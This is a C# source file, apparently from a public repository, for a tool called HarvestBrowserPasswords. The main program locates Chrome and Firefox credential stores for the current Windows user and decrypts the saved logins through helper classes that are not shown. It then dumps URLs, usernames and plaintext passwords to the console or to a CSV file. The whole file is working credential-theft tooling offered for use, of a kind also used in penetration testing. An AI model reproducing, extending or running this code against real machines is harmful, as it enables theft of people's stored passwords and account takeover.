-
Notifications
You must be signed in to change notification settings - Fork 14
/
Program.cs
275 lines (229 loc) · 10.2 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
using CommandLine;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Principal;
namespace HarvestBrowserPasswords
{
class Program
{
static void Main(string[] args)
{
Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine("HarvestBrowserPasswords.exe v1.0");
Console.ResetColor();
//Get username of current user account
string userAccountName = GetCurrentUser();
Options opts = new Options();
var parser = new Parser(with => with.HelpWriter = null);
//Parse command line arguments
var result = parser.ParseArguments<Options>(args)
.WithParsed(parsed => opts = parsed);
parser.Dispose();
List<BrowserLoginData> loginDataList = new List<BrowserLoginData>();
try
{
//Check command line arguments
if (opts.All)
{
loginDataList = (loginDataList.Concat(GetChromePasswords(userAccountName))).ToList();
loginDataList = (loginDataList.Concat(GetFirefoxPasswords(userAccountName, opts.Password))).ToList();
}
else if (opts.Chrome)
{
loginDataList = (loginDataList.Concat(GetChromePasswords(userAccountName))).ToList();
}
else if (opts.Firefox)
{
loginDataList = (loginDataList.Concat(GetFirefoxPasswords(userAccountName, opts.Password))).ToList();
}
else if (opts.Help)
{
PrintHelpToConsole();
}
//Check for case where no arguments were entered
else if (opts.CheckIfNoArgs())
{
PrintHelpToConsole();
}
}
catch (Exception e)
{
Console.ForegroundColor = ConsoleColor.Red;
if (e.InnerException != null)
{
Console.WriteLine($"[-] {e.InnerException.Message}");
}
else
{
Console.WriteLine($"[-] {e.Message}");
}
Console.ResetColor();
}
//Output all decrypted logins
if(loginDataList.Count > 0)
{
if (string.IsNullOrEmpty(opts.Outfile))
{
Console.ForegroundColor = ConsoleColor.Yellow;
PrintLoginsToConsole(loginDataList);
}
else
{
WriteToCSV(loginDataList, opts.Outfile);
}
}
}
//Check if currently running in administrator context
public static bool IsAdministrator()
{
var identity = WindowsIdentity.GetCurrent();
var principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static List<BrowserLoginData> GetChromePasswords(string userAccountName)
{
List<string> chromeProfiles = FindChromeProfiles();
List<BrowserLoginData> loginDataList = new List<BrowserLoginData>();
foreach (string chromeProfile in chromeProfiles)
{
string loginDataFile = chromeProfile + @"\Login Data";
if (File.Exists(loginDataFile))
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"[+] Found Chrome credential database for user: \"{userAccountName}\" at: \"{loginDataFile}\"");
Console.ResetColor();
ChromeDatabaseDecryptor decryptor = new ChromeDatabaseDecryptor(loginDataFile);
loginDataList = (loginDataList.Concat(decryptor.ChromeLoginDataList)).ToList();
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"[-] No credential database found in chrome profile {chromeProfile}");
Console.ResetColor();
}
}
return loginDataList;
}
public static List<string> FindChromeProfiles()
{
string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
string chromeDirectory = localAppData + @"\Google\Chrome\User Data";
List<string> profileDirectories = new List<string>();
if (Directory.Exists(chromeDirectory))
{
//Add default profile location once existence of chrome directory is confirmed
profileDirectories.Add(chromeDirectory + "\\Default");
foreach (string directory in Directory.GetDirectories(chromeDirectory))
{
if (directory.Contains("Profile "))
{
profileDirectories.Add(directory);
}
}
}
return profileDirectories;
}
//Overload for case where master password is set
public static List<BrowserLoginData> GetFirefoxPasswords(string userAccountName, string masterPassword)
{
List<BrowserLoginData> loginDataList = new List<BrowserLoginData>();
foreach (string profile in FindFirefoxProfiles(userAccountName))
{
FirefoxDatabaseDecryptor decryptor = new FirefoxDatabaseDecryptor(profile, masterPassword);
try
{
//Take the list of logins from this decryptor and add them to the total list of logins
loginDataList = (loginDataList.Concat(decryptor.FirefoxLoginDataList)).ToList();
}
catch (ArgumentNullException)
{
//ArgumentNullException will be thrown when no key4.db file exists in a profile directory
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"[-] Could not find key4.db for profile: {profile}");
}
}
return loginDataList;
}
public static List<string> FindFirefoxProfiles(string userAccountName)
{
//List to store profile directories
List<string> profileDirectories = new List<string>();
//Roaming directory contains most firefox artifacts apart from cache
string roamingDir = $"C:\\Users\\{userAccountName}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles";
//Check roaming profile
if (Directory.Exists(roamingDir))
{
string[] roamingProfiles = Directory.GetDirectories(roamingDir);
foreach (string directory in roamingProfiles)
{
profileDirectories.Add(directory);
}
}
return profileDirectories;
}
public static string GetCurrentUser()
{
//Get username for currently running account (SamCompatible Enum format)
string userAccountSamCompatible = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
//Remove domain and backslashes from name
int index = userAccountSamCompatible.IndexOf("\\", 0, userAccountSamCompatible.Length) + 1;
string userAccountName = userAccountSamCompatible.Substring(index);
return userAccountName;
}
private static void PrintLoginsToConsole(List<BrowserLoginData> loginDataList)
{
string line = new string('=', 60);
Console.ForegroundColor = ConsoleColor.White;
Console.WriteLine(line);
foreach (BrowserLoginData loginData in loginDataList)
{
Console.WriteLine($"URL {loginData.FormSubmitUrl}");
Console.WriteLine($"Username {loginData.Username}");
Console.WriteLine($"Password {loginData.Password}");
Console.WriteLine($"Browser {loginData.Browser}");
Console.WriteLine(line);
}
Console.ResetColor();
}
private static void PrintHelpToConsole()
{
Console.ForegroundColor = ConsoleColor.White;
Console.WriteLine("OPTIONS:");
Console.WriteLine(" -c, --chrome Locate and decrypt Google Chrome logins\n");
Console.WriteLine(" -f, --firefox Locate and decrypt Mozilla Firefox logins\n");
Console.WriteLine(" -a, --all Locate and decrypt Google Chrome and Mozilla Firefox logins\n");
Console.WriteLine(" -p, --password (Optional) Master password for Mozilla Firefox Logins\n");
Console.WriteLine(" -o, --outfile Write output to csv\n");
Console.WriteLine(" --help Display help message");
Console.ResetColor();
}
private static void WriteToCSV(List<BrowserLoginData> loginDataList, string outfile)
{
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine($"[*] Writing decrypted logins to {outfile}");
Console.ResetColor();
try
{
using (StreamWriter file = new StreamWriter(outfile))
{
file.WriteLine("URL,Username,Password,Browser");
foreach (BrowserLoginData loginData in loginDataList)
{
file.WriteLine($"{loginData.FormSubmitUrl}," +
$"{loginData.Username}," +
$"{loginData.Password}," +
$"{loginData.Browser}");
}
}
}
catch (Exception e)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(e);
Console.ResetColor();
}
}
}
}